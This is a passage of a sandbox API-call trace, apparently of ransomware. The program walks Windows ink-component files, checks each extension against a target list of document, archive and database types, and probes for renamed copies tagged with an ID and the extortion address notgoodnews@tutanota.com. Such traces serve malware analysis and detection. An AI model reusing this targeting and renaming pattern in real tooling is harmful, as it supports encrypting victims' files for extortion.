lstrlenW (lpString=".1cd") returned 4 [0207.922] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0207.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll") returned 62 [0207.922] lstrlenW (lpString=".jpg") returned 4 [0207.922] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0207.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll") returned 62 [0207.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll") returned 62 [0207.923] lstrlenW (lpString=".doc") returned 4 [0207.923] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0207.923] lstrlenW (lpString=".docx") returned 5 [0207.923] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0207.923] lstrlenW (lpString=".pdf") returned 4 [0207.923] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0207.923] lstrlenW (lpString=".xls") returned 4 [0207.924] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0207.924] lstrlenW (lpString=".xlsx") returned 5 [0207.924] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0207.924] lstrlenW (lpString=".ppt") returned 4 [0207.924] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0207.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll") returned 62 [0207.924] lstrlenW (lpString=".zip") returned 4 [0207.924] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0207.924] lstrlenW (lpString=".rar") returned 4 [0207.924] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0207.924] lstrlenW (lpString=".bz2") returned 4 [0207.924] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0207.925] lstrlenW (lpString=".7z") returned 3 [0207.925] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0207.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll") returned 62 [0207.925] lstrlenW (lpString=".dbf") returned 4 [0207.925] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0207.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll") returned 62 [0207.925] lstrlenW (lpString=".1cd") returned 4 [0207.925] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0207.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll") returned 62 [0207.925] lstrlenW (lpString=".jpg") returned 4 [0207.925] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0207.926] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0207.926] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0207.926] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0207.929] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=4096) returned 1 [0207.929] CloseHandle (hObject=0x288) returned 1 [0207.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui")) returned 0x20 [0207.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0207.930] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0207.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0207.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0207.930] lstrlenW (lpString=".doc") returned 4 [0207.931] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0207.931] lstrlenW (lpString=".docx") returned 5 [0207.931] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0207.931] lstrlenW (lpString=".pdf") returned 4 [0207.931] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0207.931] lstrlenW (lpString=".xls") returned 4 [0207.931] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0207.931] lstrlenW (lpString=".xlsx") returned 5 [0207.931] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0207.931] lstrlenW (lpString=".ppt") returned 4 [0207.931] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0207.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0207.931] lstrlenW (lpString=".zip") returned 4 [0207.932] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0207.932] lstrlenW (lpString=".rar") returned 4 [0207.932] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0207.932] lstrlenW (lpString=".bz2") returned 4 [0207.932] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0207.932] lstrlenW (lpString=".7z") returned 3 [0207.932] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0207.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0207.932] lstrlenW (lpString=".dbf") returned 4 [0207.932] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0207.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0207.932] lstrlenW (lpString=".1cd") returned 4 [0207.932] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0207.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0207.933] lstrlenW (lpString=".jpg") returned 4 [0207.933] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0207.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0207.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0207.933] lstrlenW (lpString=".doc") returned 4 [0207.933] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0207.933] lstrlenW (lpString=".docx") returned 5 [0207.933] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0207.933] lstrlenW (lpString=".pdf") returned 4 [0207.933] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0207.934] lstrlenW (lpString=".xls") returned 4 [0207.934] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0207.934] lstrlenW (lpString=".xlsx") returned 5 [0207.934] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0207.934] lstrlenW (lpString=".ppt") returned 4 [0207.934] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0207.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0207.934] lstrlenW (lpString=".zip") returned 4 [0207.934] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0207.934] lstrlenW (lpString=".rar") returned 4 [0207.934] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0207.934] lstrlenW (lpString=".bz2") returned 4 [0207.934] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0207.934] lstrlenW (lpString=".7z") returned 3 [0207.935] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0207.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0207.935] lstrlenW (lpString=".dbf") returned 4 [0207.935] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0207.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0207.935] lstrlenW (lpString=".1cd") returned 4 [0207.936] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0207.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0207.936] lstrlenW (lpString=".jpg") returned 4 [0207.936] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0207.936] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0207.936] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0207.936] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0207.937] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=3584) returned 1 [0207.937] CloseHandle (hObject=0x288) returned 1 [0207.937] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui")) returned 0x20 [0207.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0207.938] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0207.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui") returned 72 [0207.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui") returned 72 [0207.938] lstrlenW (lpString=".doc") returned 4 [0207.938] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0207.938] lstrlenW (lpString=".docx") returned 5 [0207.938] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0207.938] lstrlenW (lpString=".pdf") returned 4 [0207.939] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0207.939] lstrlenW (lpString=".xls") returned 4 [0207.939] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0207.939] lstrlenW (lpString=".xlsx") returned 5 [0207.939] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0207.939] lstrlenW (lpString=".ppt") returned 4 [0207.939] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0207.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui") returned 72 [0207.939] lstrlenW (lpString=".zip") returned 4 [0207.939] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0207.939] lstrlenW (lpString=".rar") returned 4 [0207.940] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0207.940] lstrlenW (lpString=".bz2") returned 4 [0207.940] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0207.940] lstrlenW (lpString=".7z") returned 3 [0207.940] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0207.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui") returned 72 [0207.940] lstrlenW (lpString=".dbf") returned 4 [0207.940] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0207.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui") returned 72 [0207.940] lstrlenW (lpString=".1cd") returned 4 [0207.940] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0207.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui") returned 72 [0207.940] lstrlenW (lpString=".jpg") returned 4 [0207.941] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0207.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui") returned 72 [0207.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui") returned 72 [0207.941] lstrlenW (lpString=".doc") returned 4 [0207.941] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0207.941] lstrlenW (lpString=".docx") returned 5 [0207.941] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0207.941] lstrlenW (lpString=".pdf") returned 4 [0207.941] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0207.941] lstrlenW (lpString=".xls") returned 4 [0207.941] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0207.942] lstrlenW (lpString=".xlsx") returned 5 [0207.942] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0207.942] lstrlenW (lpString=".ppt") returned 4 [0207.942] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0207.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui") returned 72 [0207.942] lstrlenW (lpString=".zip") returned 4 [0207.942] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0207.942] lstrlenW (lpString=".rar") returned 4 [0207.942] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0207.942] lstrlenW (lpString=".bz2") returned 4 [0207.942] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0207.942] lstrlenW (lpString=".7z") returned 3 [0207.942] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0207.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui") returned 72 [0207.943] lstrlenW (lpString=".dbf") returned 4 [0207.943] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0207.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui") returned 72 [0207.943] lstrlenW (lpString=".1cd") returned 4 [0207.943] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0207.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui") returned 72 [0207.943] lstrlenW (lpString=".jpg") returned 4 [0207.943] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0207.944] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0207.944] lstrlenW (lpString="rtscom.dll") returned 10 [0207.944] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\rtscom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0207.944] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=169984) returned 1 [0207.944] CloseHandle (hObject=0x288) returned 1 [0207.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\rtscom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll")) returned 0x20 [0207.945] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\rtscom.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0207.945] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\rtscom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0207.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\rtscom.dll") returned 61 [0207.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\rtscom.dll") returned 61 [0207.945] lstrlenW (lpString=".doc") returned 4 [0207.945] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0207.945] lstrlenW (lpString=".docx") returned 5 [0207.946] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1 [0207.946] lstrlenW (lpString=".pdf") returned 4 [0207.946] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0207.946] lstrlenW (lpString=".xls") returned 4 [0207.946] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0207.946] lstrlenW (lpString=".xlsx") returned 5 [0207.946] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1 [0207.946] lstrlenW (lpString=".ppt") returned 4 [0207.946] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0207.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\rtscom.dll") returned 61 [0207.946] lstrlenW (lpString=".zip") returned 4 [0207.946] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0207.946] lstrlenW (lpString=".rar") returned 4 [0207.947] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0207.947] lstrlenW (lpString=".bz2") returned 4 [0207.947] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0207.947] lstrlenW (lpString=".7z") returned 3 [0207.947] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0207.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\rtscom.dll") returned 61 [0207.947] lstrlenW (lpString=".dbf") returned 4 [0207.947] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0207.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\rtscom.dll") returned 61 [0207.947] lstrlenW (lpString=".1cd") returned 4 [0207.947] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0207.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\rtscom.dll") returned 61 [0207.947] lstrlenW (lpString=".jpg") returned 4 [0207.947] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0207.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\rtscom.dll") returned 61 [0207.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\rtscom.dll") returned 61 [0207.948] lstrlenW (lpString=".doc") returned 4 [0207.948] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0207.948] lstrlenW (lpString=".docx") returned 5 [0207.948] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1 [0207.948] lstrlenW (lpString=".pdf") returned 4 [0207.948] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0207.948] lstrlenW (lpString=".xls") returned 4 [0207.948] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0207.948] lstrlenW (lpString=".xlsx") returned 5 [0207.948] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1 [0207.949] lstrlenW (lpString=".ppt") returned 4 [0207.949] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0207.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\rtscom.dll") returned 61 [0207.949] lstrlenW (lpString=".zip") returned 4 [0207.949] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0207.949] lstrlenW (lpString=".rar") returned 4 [0207.949] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0207.949] lstrlenW (lpString=".bz2") returned 4 [0207.949] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0207.949] lstrlenW (lpString=".7z") returned 3 [0207.949] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0207.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\rtscom.dll") returned 61 [0207.949] lstrlenW (lpString=".dbf") returned 4 [0207.949] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0207.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\rtscom.dll") returned 61 [0207.949] lstrlenW (lpString=".1cd") returned 4 [0207.950] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0207.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\rtscom.dll") returned 61 [0207.950] lstrlenW (lpString=".jpg") returned 4 [0207.950] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0207.950] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0207.950] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0207.951] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0210.819] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=3584) returned 1 [0210.819] CloseHandle (hObject=0x2d8) returned 1 [0210.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui")) returned 0x20 [0210.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0210.820] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0210.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0210.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0210.820] lstrlenW (lpString=".doc") returned 4 [0210.820] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0210.820] lstrlenW (lpString=".docx") returned 5 [0210.820] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0210.821] lstrlenW (lpString=".pdf") returned 4 [0210.821] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0210.821] lstrlenW (lpString=".xls") returned 4 [0210.821] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0210.821] lstrlenW (lpString=".xlsx") returned 5 [0210.821] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0210.822] lstrlenW (lpString=".ppt") returned 4 [0210.822] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0210.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0210.822] lstrlenW (lpString=".zip") returned 4 [0210.822] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0210.822] lstrlenW (lpString=".rar") returned 4 [0210.822] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0210.822] lstrlenW (lpString=".bz2") returned 4 [0210.822] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0210.822] lstrlenW (lpString=".7z") returned 3 [0210.823] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0210.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0210.823] lstrlenW (lpString=".dbf") returned 4 [0210.823] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0210.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0210.823] lstrlenW (lpString=".1cd") returned 4 [0210.823] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0210.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0210.823] lstrlenW (lpString=".jpg") returned 4 [0210.823] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0210.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0210.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0210.824] lstrlenW (lpString=".doc") returned 4 [0210.824] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0210.824] lstrlenW (lpString=".docx") returned 5 [0210.824] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0210.824] lstrlenW (lpString=".pdf") returned 4 [0210.824] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0210.824] lstrlenW (lpString=".xls") returned 4 [0210.824] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0210.824] lstrlenW (lpString=".xlsx") returned 5 [0210.824] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0210.824] lstrlenW (lpString=".ppt") returned 4 [0210.824] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0210.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0210.825] lstrlenW (lpString=".zip") returned 4 [0210.825] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0210.825] lstrlenW (lpString=".rar") returned 4 [0210.825] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0210.825] lstrlenW (lpString=".bz2") returned 4 [0210.825] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0210.825] lstrlenW (lpString=".7z") returned 3 [0210.825] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0210.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0210.825] lstrlenW (lpString=".dbf") returned 4 [0210.825] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0210.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0210.825] lstrlenW (lpString=".1cd") returned 4 [0210.826] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0210.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0210.826] lstrlenW (lpString=".jpg") returned 4 [0210.826] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0210.826] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0210.827] lstrlenW (lpString="tabskb.dll") returned 10 [0210.827] CreateFileW 